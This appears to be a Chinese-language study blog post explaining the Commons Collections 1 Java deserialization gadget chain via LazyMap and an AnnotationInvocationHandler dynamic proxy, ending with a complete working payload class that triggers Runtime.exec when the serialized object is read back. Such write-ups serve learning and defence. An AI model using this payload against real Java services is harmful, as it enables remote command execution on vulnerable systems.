上回说到cc1其实有两条链,为了后面方便复习或者说有强迫症续一下gadget chain/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() 从这里开始变化 LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() */LazyMap因为后半条链都是一样的,那我们就应该去看看LazyMap的get怎么写的。为什么能通过它去完成后半部分这里我们可以看到158行LazyMap的get里面写了Object value = factory.transform(key);这里就很清晰了只要我们把factory换成ChainedTransformer不就衔接上了吗?看看是否可控当然还是一样需要进到if判断里面,这里判断了map里有没有key,没有就会走到 factory.transform(key)这里可以看到LazyMap构造函数这里是可以控制的类型是一个transformer,可控!!!接下来我们去看那里调用了 get。poc虽然已经写了,但是我们还是以攻击视角来分析。呃呃呃呃。。。。但也不能太死板因为像get这种方法名很多类都有AnnotationInvocationHandler在AnnotationInvocationHandler中的invoke方法调用了memberValues的get方法,这里如果memberValues是LazyMap不久可以衔接了吗?这里上集说过memberValues我们可以控制~然后我们怎么才能去调用invoke呢?AnnotationInvocationHandler 类本身就实现了 InvocationHandler接口所以我们可以直接使用动态代理去代理 LazyMap 对象,然后它在调用任何方法的时候都会去invoke方法(动态代理的特性)但是这里的因为有if方法的阻挡得想办法过,简单解释这段代码的意思:如果调用equals方法和参数长度不为0就会返回。也就是我们需要去调用一个无参方法~这里也是老熟人了,它的readObject里就调用了一个无参方法。到这里整条链就清晰了,首先入口readObject 调用了代理的任何方法都会去调用invoke方法,但这里invoke方法有限制,而刚好调用的是一个无参方法就会绕过if判断走到我们利用的点,从而调用memberValues的get方法而这里是LazyMap,LazyMap.get被控制为我们的ChainedTransformer. transform。。。。。一切都是巧合,如有雷同,包是后门~开个玩笑CC1的学习就到这里圆满结束了payloadpublic class CC1Test2 { public static void main(String[] args) throws IOException, Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationinvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); annotationinvocationhdlConstructor.setAccessible(true); InvocationHandler annohandler = (InvocationHandler) annotationinvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annohandler); Object o = annotationinvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("cc1-2.bin"); } private static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc1-2.bin")); oss.writeObject(obj); System.out.println(new java.util.Date()); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); System.out.println(new java.util.Date()); return obj; } }CC1的学习就到这里圆满结束了~当然其实cc6也学了等哥们后续补上吧,等我计划一下怎么写内网渗透,学一条链奖励自己写一篇内网渗透相关的知识